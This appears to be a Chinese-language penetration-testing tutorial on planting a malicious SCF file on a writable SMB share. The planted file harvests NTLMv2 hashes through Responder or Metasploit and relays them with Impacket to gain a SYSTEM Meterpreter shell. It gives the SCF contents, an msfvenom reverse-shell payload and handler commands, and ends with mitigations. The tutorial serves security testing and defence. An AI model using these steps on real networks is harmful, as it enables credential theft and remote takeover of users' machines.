您好,登錄后才能下訂單哦!
如何利用SCF文件構建網絡滲透,針對這個問題,這篇文章詳細介紹了相對應的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。
SMB是一種廣泛用于企業組織中文件共享目的的網絡協議。在內部的滲透測試中,發現包含明文密碼和數據庫連接字符串等敏感信息的共享文件并不罕見。但是,即使一個文件共享不包含任何可用于連接到其他系統的數據,但是未經身份驗證的用戶配置擁有該文件的寫入權限,那么在這種情況下,攻擊者也可以獲得域用戶的密碼哈希值或Meterpreter shell。
SCF(Shell命令文件)文件可用于執行一組有限的操作,例如顯示Windows桌面或打開Windows資源管理器,這并不是什么新鮮事。然而,一個SCF文件可以用來訪問一個特定的UNC路徑,允許滲透測試人員構建攻擊。下面的代碼可以被放置在一個文本文件,然后需要被植入到網絡共享。
[Shell]
Command=2
IconFile=\\X.X.X.X\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop
SCF文件的內容
將pentestlab.txt文件保存為SCF文件,并且要使該文件在用戶瀏覽文件時執行。在文件名前面添加@符號可以將pentestlab.scf放在共享驅動器文件列表的頂部。
SCF文件
Responder需要使用以下參數執行來捕獲瀏覽共享的用戶的哈希值。
responder -wrf --lm -v -I eth0
Responder – SCF的參數
當用戶瀏覽共享時,將自動會從系統建立網絡連接,連接到包含在SCF文件內的UNC路徑。Windows將嘗試使用用戶名和密碼對該共享進行身份驗證。在驗證過程中,隨機的8字節質詢密鑰會從服務器發送到客戶端,散列后的NTLM / LANMAN密碼再次使用這個質詢密鑰進行加密。Responder將捕獲NTLMv2哈希。
Responder -通過SCF抓取到的NTLMv2哈希
除了Responder,Metasploit Framework也有一個模塊,可以用來捕獲來自SMB客戶端的挑戰 – 響應密碼哈希。
auxiliary/server/capture/smb
Metasploit – 捕獲SMB的模塊
和之前一樣,用戶在瀏覽相同的共享時,他的密碼哈希將被Metasploit捕獲。
Metasploit -捕獲NTLMv2
如果公司內部的密碼策略足夠低,攻擊者可能只需要幾天或幾個星期就能破解捕獲到的密碼散列。
上面的技術的主要優點是它不需要與用戶有任何交互,并自動強制用戶連接到共享,在這個過程中不存在NTLMv2哈希的協商過程。因此,也可以將此技術與SMB中繼相結合,SMB中繼將提供有效載荷,可以從訪問該共享的每個用戶檢索Meterpreter Shell。
MSFVenom可用于生成將在目標上執行的有效載荷:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.171 LPORT=5555 -f exe > pentestlab.exe
MSFVenom – 為SMB中繼生成的payload
Coresecurity已經發布了一個名為Impacket的Python腳本,可以對SMB等Windows協議執行各種攻擊。使用smbrelayx 這個python腳本可以設置中繼攻擊并在當目標主機嘗試連接SMB服務器時提供有效載荷。這將自動執行,因為SCF文件將強制每個用戶使用他們自己的憑據連接到一個不存在的共享。
./smbrelayx.py -h Target-IP -e ./pentestlab.exe
Impacket – SMB中繼服務器
Metasploit框架需要使用并在目標上執行pentestlab.exe時接收連接。
exploit/multi/handler
模塊需要配置與生成的有效載荷相同的參數。
set payload windows/meterpreter/reverse_tcp set LHOST 192.168.1.171 set LPORT 5555 exploit
Metasploit – 多處理程序模塊
當用戶瀏覽共享時,SMB服務器將接收到連接,并且將使用用戶名和密碼散列來與他的系統進行認證,并將有效載荷執行為可寫共享。
Impacket – SMB中繼攻擊
Meterpreter將收到一個會話。但是為了避免丟失連接,有必要遷移到更穩定的進程。
Meterpreter – 列出正在運行的進程
需要使用遷移命令和進程標識。
Meterpreter – 進程遷移
在這個例子中,進程1600對應于以SYSTEM權限運行的svchost.exe進程。
Meterpreter – 遷移進程列表
從Meterpreter控制臺運行getuid將獲得當前的UID,現在是SYSTEM。
Meterpreter – 檢索當前的UID
Metasploit框架也可以實現同樣的攻擊。
exploit/windows/smb/smb_relay set payload windows/meterpreter/reverse_tcp set LHOST 192.168.1.171 exploit
Metasploit – SMB中繼模塊
SMB服務器將建立一個通過使用用戶名和密碼哈希來驗證目標的連接,在一個可寫共享上傳遞一個有效載荷,以用戶權限執行作為一個服務的有效載荷,執行清理并返回一個Meterpreter會話。
Metasploit – SMB中繼攻擊
可以使用sessions命令與現有會話執行交互。
Metasploit – SMB中繼會話
這個技術利用了像共享這樣的所有網絡中很常見的東西,以便檢索密碼散列并獲取meterpreter shell。唯一的要求是用戶需要瀏覽包含惡意SCF文件的共享。但是,通過執行以下操作可以防止這些攻擊:
· 使用Kerberos身份驗證和SMB簽名
· 不允許未經身份驗證的用戶在文件共享中擁有寫入權限
· 確保使用NTLMv2密碼哈希代替LanMan
關于如何利用SCF文件構建網絡滲透問題的解答就分享到這里了,希望以上內容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關注億速云行業資訊頻道了解更多相關知識。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。